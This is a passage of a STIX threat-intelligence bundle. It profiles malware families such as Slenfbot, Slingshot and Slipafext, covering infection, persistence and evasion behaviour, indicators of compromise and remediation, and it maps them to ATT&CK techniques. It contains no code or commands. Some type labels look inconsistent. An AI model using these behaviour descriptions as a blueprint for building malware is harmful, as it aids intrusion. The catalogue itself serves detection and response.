      "description": "Slefdel exhibits technique T1105 (Ingress Tool Transfer (The action performed before deletion))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4ba89250-5064-5420-9e7d-b9d9a750e746",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Slenfbot",
      "description": "Worm:Win32/Slenfbot is a highly infectious network worm and botnet agent notorious for its aggressive self-propagation methods. Once executed on a host, it immediately attempts to replicate itself across the local network and to any connected removable media (USB drives), while simultaneously connecting the infected machine to a central IRC-based Command and Control (C2) botnet for further instructions, such as launching DDoS attacks or downloading additional malware.<br><br><b>Understanding Slenfbot (USB Worms/Botnets)</b><br>To an end-user, the infection might be unnoticeable until their network connection slows to a crawl due to DDoS activity or aggressive scanning. For a security administrator, a Slenfbot outbreak is a severe incident that can rapidly paralyze a corporate network. It exploits the human tendency to share files via USB (`T1091`) and weak network share permissions (`T1021.002`).<br><br><b>Execution and Propagation Mechanics</b><br>Slenfbot is most commonly introduced into an environment via an infected USB drive. It relies on the Windows `autorun.inf` feature (or tricks the user into clicking a disguised executable) to launch (`T1204.002`). Upon execution, it copies itself to the Windows system folder and establishes persistence via the Registry Run keys. Crucially, it immediately begins polling for new USB drives; when one is inserted, it silently copies itself and a malicious `autorun.inf` to the drive. Simultaneously, it connects to an IRC server (`T1071.002`) to join the botnet, awaiting commands from the botmaster.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is rapid, widespread infection and potential involvement in coordinated botnet attacks. Host-based IoCs include the presence of malicious `.exe` or `.vbs` files and hidden `autorun.inf` files on the root directory of all attached USB drives. EDR will detect the creation of autostart registry keys pointing to executables in the `System32` directory. Network IoCs are highly visible: unauthorized IRC traffic (often TCP ports 6667-6669) connecting to unknown domains, and massive internal network scanning (SMB/Port 445) as the worm attempts lateral movement. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Slenfbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/slenfbot"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e87cb15b-d605-5ce9-8e07-25646b4528e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ba89250-5064-5420-9e7d-b9d9a750e746",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slenfbot exhibits technique T1091 (Replication Through Removable Media (USB spreading))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3788795-b915-5bbd-a74a-04e7da250457",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ba89250-5064-5420-9e7d-b9d9a750e746",
      "target_ref": "attack-pattern--aa418889-2105-5889-96f6-4224121989df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slenfbot exhibits technique T1071.002 (Application Layer Protocol: File Transfer Protocols (IRC C2 communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8198faae-ea94-5a83-8dee-5ad444a92c13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ba89250-5064-5420-9e7d-b9d9a750e746",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slenfbot exhibits technique T1547.001 (Boot or Logon Autostart Execution (Registry persistence))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--08476450-b8b2-512e-a8ca-2af21147d0fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Slimdrivers",
      "description": "PUA:Win32/Slimdrivers is a highly prevalent Potentially Unwanted Program (PUA) classified as **Scareware** or a **Rogue System Optimizer**. It is marketed as a helpful utility to scan the computer for outdated hardware drivers and update them automatically. However, it is designed to deliberately mislead the user into believing their system is failing or critically outdated, aiming to panic them into purchasing a fraudulent 'premium' license to fix these non-existent issues.<br><br><b>Understanding Slimdrivers Scareware</b><br>To an end-user, Slimdrivers creates a sense of urgency. Suddenly, their screen is filled with alerts warning that 45 critical drivers are out of date and system instability is imminent. For a security analyst, this is a social engineering attack disguised as software. The software itself rarely contains destructive payloads, but it severely disrupts productivity, attempts financial extortion, and frequently bundles secondary adware during installation.<br><br><b>Execution and Deception Mechanics</b><br>Slimdrivers is typically installed via deceptive malvertising or bundled with freeware (`T1189`). Upon execution (`T1204.002`), it establishes persistence via the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key so it launches every time the computer boots (`T1547.001`). It then initiates a 'scan' of the system. Regardless of the actual health of the computer, the scan is hardcoded to return severe warnings about outdated drivers (`T1562`). It heavily utilizes the Windows UI to generate intrusive, uncloseable pop-up warnings. If the user clicks 'Update All', they are immediately redirected to a payment portal.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is severe user panic, loss of productivity, and potential financial fraud. IoCs include EDR alerts for the installation of known rogue software binaries (e.g., `SlimDrivers.exe`). Host-based indicators include the sudden appearance of aggressive system-tray alerts and unauthorized registry modifications. Network logs may show traffic to payment gateways associated with known PUA affiliates. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Slimdrivers",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/slimdrivers"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78fc2df1-10b4-52df-b0ca-e430c344730a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08476450-b8b2-512e-a8ca-2af21147d0fe",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slimdrivers exhibits technique T1189 (Drive-by Compromise (Fake update malvertising))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75923458-e36a-52c5-b632-d5d2108de204",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08476450-b8b2-512e-a8ca-2af21147d0fe",
      "target_ref": "attack-pattern--233c2a7d-34cd-5ba5-8e03-f1b2d741dbe8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slimdrivers exhibits technique T1562 (Impair Defenses (Generating fake system alerts to cause panic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--020a8ade-4938-5f0f-944d-1607b17cf1cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08476450-b8b2-512e-a8ca-2af21147d0fe",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slimdrivers exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11bd8bb8-3b51-526f-bb0b-9fd551d18c7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08476450-b8b2-512e-a8ca-2af21147d0fe",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slimdrivers exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--775a0c45-67be-59fc-b8a5-eba50ece03a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Slimware",
      "description": "Slimware (documented by Microsoft Defender as PUA:Win32/Slimware and tracked by Malwarebytes as PUP.Optional.SlimwareUtilities) is a deceptive system maintenance and scareware software suite developed under the Slimware Utilities / SlimCleaner / DriverUpdate brand. Frequently distributed through aggressive online advertising campaigns, pre-installed affiliate bundles, and drive-by download pop-ups claiming severe driver obsolescence, Slimware scans the victim host and presents alarming, exaggerated diagnostics highlighting dozens of supposed critical registry errors and outdated hardware drivers. The software repeatedly prompts the user to enter credit card details and purchase an annual subscription to resolve the manufactured system defects. Slimware creates persistent Windows Scheduled Tasks, startup run keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, and background tray notification agents that continuously alert users of fake system degradation. (Observed samples in benchmark: 566)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Slimware",
        "PUP.Optional.SlimwareUtilities",
        "SlimCleaner",
        "DriverUpdate.Slimware",
        "Slimware.Rogueware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Slimware",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/slimware"
        }
      ],
      "labels": [
        "rogueware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03fbd517-6e31-5b15-b80b-b02c8f3e2ac0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775a0c45-67be-59fc-b8a5-eba50ece03a1",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slimware exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44121aaf-f6a6-5904-8b8a-008aa854db31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775a0c45-67be-59fc-b8a5-eba50ece03a1",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slimware exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3f12d3e-3568-5ac2-b3fc-0aca041c9322",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775a0c45-67be-59fc-b8a5-eba50ece03a1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slimware exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92f8d31e-16d0-5f13-a62c-42a572475297",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775a0c45-67be-59fc-b8a5-eba50ece03a1",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slimware exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28c57156-2358-547a-bf20-1e9c9cd86bcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775a0c45-67be-59fc-b8a5-eba50ece03a1",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slimware exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ab9bc92-b6d7-5f40-8b2b-fdf109175806",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775a0c45-67be-59fc-b8a5-eba50ece03a1",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slimware exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f6ae9806-736c-5a4f-9c45-7bdd53ad7966",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Slingshot",
      "description": "<h3>Executive Summary</h3>\nSlingshot is an exceptionally sophisticated, modular Advanced Persistent Threat (APT) platform discovered in 2018 (though believed to be active since at least 2012). It is a highly complex cyber-espionage framework characterized by its unique infection vector\u2014compromising network routers\u2014and its deep integration into the Windows kernel. Slingshot is designed for long-term, stealthy surveillance and data exfiltration from highly secure networks.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSlingshot's most notable characteristic is its initial infection vector. Rather than relying on traditional phishing or exploit kits, the threat actors compromised Mikrotik routers (and potentially others). They modified the router's software to inject a malicious DLL into the legitimate management software downloaded by network administrators, effectively turning the router into a malware distribution point for the internal network.\n\nUpon execution on a Windows endpoint, the framework deploys two massive modules:\n<ul>\n<li><strong>Cahnadr (Kernel-Mode Module):</strong> This module operates deep within the Windows kernel (Ring 0). It acts as a highly advanced rootkit, hiding the malware's presence, providing unfettered access to system resources, and establishing low-level persistence mechanisms that survive reboots and OS upgrades.</li>\n<li><strong>GollumApp (User-Mode Module):</strong> This is the primary espionage payload, consisting of nearly 1,500 highly modular functions. It is responsible for comprehensive surveillance: keylogging, screen capturing, stealing passwords, harvesting clipboard data, capturing network traffic, and monitoring USB devices.</li>\n<li><strong>Advanced Evasion:</strong> Slingshot utilizes an encrypted virtual file system within the Windows registry to store its modules and stolen data, making forensic analysis exceptionally difficult. It also monitors for security products and can shut itself down to avoid detection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nSlingshot represents one of the most advanced cyber-espionage platforms ever discovered. Its ability to compromise network infrastructure (routers) to attack endpoints, combined with its kernel-level rootkit capabilities, indicates it is the tool of a highly resourced, likely state-sponsored actor focused on high-value targets.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Infrastructure Audit (Routers):</strong> Remediation must begin at the network edge. All network routers (especially Mikrotik) must be audited, firmly patched, and their firmware verified against known-good hashes to eliminate the primary infection vector.</li>\n<li><strong>Deep Forensic Triage:</strong> Because Slingshot operates at the kernel level and utilizes encrypted registry file systems, traditional AV scans are insufficient. Specialized forensic analysis (including memory forensics) is required to confirm infection.</li>\n<li><strong>Complete Re-imaging:</strong> Any endpoint confirmed to be infected with Slingshot must undergo a complete bare-metal wipe. Due to its advanced persistence, attempting to clean the system is highly risky; re-imaging from a trusted baseline is mandatory.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT.Slingshot",
        "Trojan.Slingshot",
        "Win32/Slingshot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Slingshot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/slingshot"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d142f1a1-7cc6-5ef1-92f6-c19fed1d465c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6ae9806-736c-5a4f-9c45-7bdd53ad7966",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slingshot exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cc61231-5ba1-5ace-8bc8-b30bc455366b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6ae9806-736c-5a4f-9c45-7bdd53ad7966",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slingshot exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec476bcb-69e1-5577-944e-a5bb67e7fed3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6ae9806-736c-5a4f-9c45-7bdd53ad7966",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slingshot exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--700630bf-c1dc-5b3d-a304-149b31822d1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1542: Pre-OS Boot",
      "description": "MITRE ATT&CK Technique T1542 (Pre-OS Boot) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1542",
          "url": "https://attack.mitre.org/techniques/T1542/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--316ee77a-458b-518b-a036-a383f2e2b794",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6ae9806-736c-5a4f-9c45-7bdd53ad7966",
      "target_ref": "attack-pattern--700630bf-c1dc-5b3d-a304-149b31822d1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slingshot exhibits technique T1542 (Pre-OS Boot)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--17406c70-9194-5251-bbf9-d5edcf9de9ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Slingup",
      "description": "Adware:Win32/Slingup is a persistent Potentially Unwanted Program (PUA) and adware family often bundled with free software. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements, thereby generating illicit affiliate revenue for the developers.<br><br><b>Understanding Slingup Adware</b><br>To an end-user, a Slingup infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme, utilizing persistence mechanisms to prevent the user from easily reverting their browser settings.<br><br><b>Execution and Hijacking Mechanics</b><br>Slingup is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`), injecting its advertisements directly into the DOM of the websites the user visits and monitoring search queries.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy (all searches are tracked and monetized), and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks. EDR logs will flag the installation of the Slingup extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Slingup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/slingup"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51685478-833a-512a-8164-cdeb0b3e387e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17406c70-9194-5251-bbf9-d5edcf9de9ef",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slingup exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a39e074c-0277-5882-8731-1c793fd36d2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17406c70-9194-5251-bbf9-d5edcf9de9ef",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slingup exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--561a3042-e609-5617-b94b-16a921b1dba4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17406c70-9194-5251-bbf9-d5edcf9de9ef",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slingup exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69a17ef5-7cd4-5840-bcc4-65aed10d0534",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17406c70-9194-5251-bbf9-d5edcf9de9ef",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slingup exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0663b140-afd7-5629-a954-8efb30eedd86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Slipafext",
      "description": "Trojan:Win32/Slipafext is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Slipafext</b><br>To an end-user, a Slipafext infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Slipafext is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Slipafext is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Slipafext frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Slipafext reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Slipafext",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/slipafext"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0603ef7-e650-5fa6-a003-acdedc6793f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0663b140-afd7-5629-a954-8efb30eedd86",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slipafext exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04e008de-57db-5527-9313-cef3742165ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0663b140-afd7-5629-a954-8efb30eedd86",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slipafext exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d01d93d-c039-5d9a-9bb2-33e5ce1996cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0663b140-afd7-5629-a954-8efb30eedd86",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slipafext exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac0b9a66-f9f8-5403-a0e6-af0a9da9852b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0663b140-afd7-5629-a954-8efb30eedd86",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slipafext exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c2a9eb5-de28-548c-a0a6-e1e4b73fb247",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0663b140-afd7-5629-a954-8efb30eedd86",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slipafext exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d2d89dde-b6b1-575b-82f4-ed019eaccc2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sloddat",
      "description": "<h3>Executive Summary</h3>\nSloddat is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSloddat is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Sloddat operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Sloddat 